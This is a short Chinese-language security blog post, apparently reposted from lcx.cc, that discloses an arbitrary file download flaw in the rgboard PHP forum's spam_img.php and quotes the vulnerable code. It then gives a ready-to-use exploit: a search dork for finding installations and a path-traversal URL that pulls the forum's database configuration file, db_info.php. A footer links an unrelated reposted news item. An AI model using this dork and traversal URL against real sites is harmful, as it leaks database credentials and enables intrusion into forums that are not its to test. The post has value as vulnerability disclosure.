rgboard 2011-06-16 老系统内容 漏洞 文件

  • A+
所属分类:lcx

rgboard
by flyh4t

rgboard是韩国的一款php论坛

这是一个标准的逻辑漏洞

spam_img.php代码如下

以下是引用片段:

$schk_code = $_SESSION["schk_".$chk_code];
    if(preg_match('/^[0-9]/',$schk_code[$ord])) { // ????
        $file='images_spam/'.$schk_code[$ord].".gif";
    } else if(preg_match('/^[a-z]/',$schk_code[$ord])) { // ??????
        $file='images_spam/'.$schk_code[$ord]."1.gif";
    } else if(preg_match('/^[A-Z]/',$schk_code[$ord])) { // ??????
        $file='images_spam/'.$schk_code[$ord]."2.gif";
    }

//没有exit

    header ("Cache-Control: no-cache, must-revalidate");
    header ("Pragma: no-cache");
    $LastModified = gmdate("D d M Y H:i:s", time());
    header("Last-Modified: $LastModified GMT");
    header("ETag: "$LastModified"");
       
    download_file($file,'-','application/octet-stream');

利用很简单

inurl:rg4_board

http://v4.rgboard.com/rg4_board/spam_img.php?file=../rg4_data/db_info.php

文章来源于lcx.cc:rgboard

2011-06-16

老系统内容
漏洞
文件

约 138 字
预计阅读 1 分钟

相关推荐: 【转载】山东枣庄实名举报者被判14年

    我叫秦绍兰,我丈夫是山东枣庄市国土资源局party组成员、市矿产储备中心主任彭宜淦,我丈夫由于举报枣庄市市委书记刘某重大贪污受贿的行为,被强行带走,随后被非法关押长达四个月,现在竟然被法院判了14年。     作为一个妻子,就算倾家荡产我也要将为我的丈…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: